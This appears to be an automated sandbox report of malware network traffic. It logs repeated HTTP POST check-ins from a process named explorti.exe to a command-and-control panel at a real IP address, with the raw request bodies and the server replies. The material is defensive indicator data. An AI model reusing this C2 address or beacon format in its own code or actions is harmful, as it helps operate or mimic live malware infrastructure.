Jul 5, 2024 05:10:56.455529928 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:56.455702066 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.561100960 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.561539888 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.566201925 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:56.566267014 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:56.566271067 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.566328049 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.566483021 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.571307898 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.286765099 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.286967039 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.287595987 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.292375088 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.512305021 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.512355089 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.623377085 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.623737097 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.628532887 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.628545046 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:57.628599882 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.628623009 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.628817081 CEST	49788	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:57.633583069 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:58.319137096 CEST	80	49788	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:58.319327116 CEST	49788	80	192.168.2.4	77.91.77.82

HTTP Request Dependency Graph

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:03.058995962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:03.766336918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:03.771302938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:03.996983051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:04.113904953 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:04.820863962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:04.822462082 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:05.046885014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:05.159713984 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:05.876519918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:05.877672911 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:06.096573114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:06.206985950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:06.908555031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:06.909427881 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:07.129904032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:07.239581108 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:07.978058100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:07.978868008 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:08.212229013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:08.332653999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:09.050707102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:09.055381060 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:09.282841921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:09.394258976 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:10.092967033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:10.094006062 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:10.310858011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:10.425515890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:11.117185116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:11.119334936 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:11.337167025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:11.458595991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:12.202783108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:12.203501940 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:12.433974981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:12.550483942 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:13.255688906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:13.256418943 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:13.475923061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:13.598210096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:14.309160948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:14.310110092 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:14.533269882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:14.644329071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:16.303675890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:16.303908110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:16.304158926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
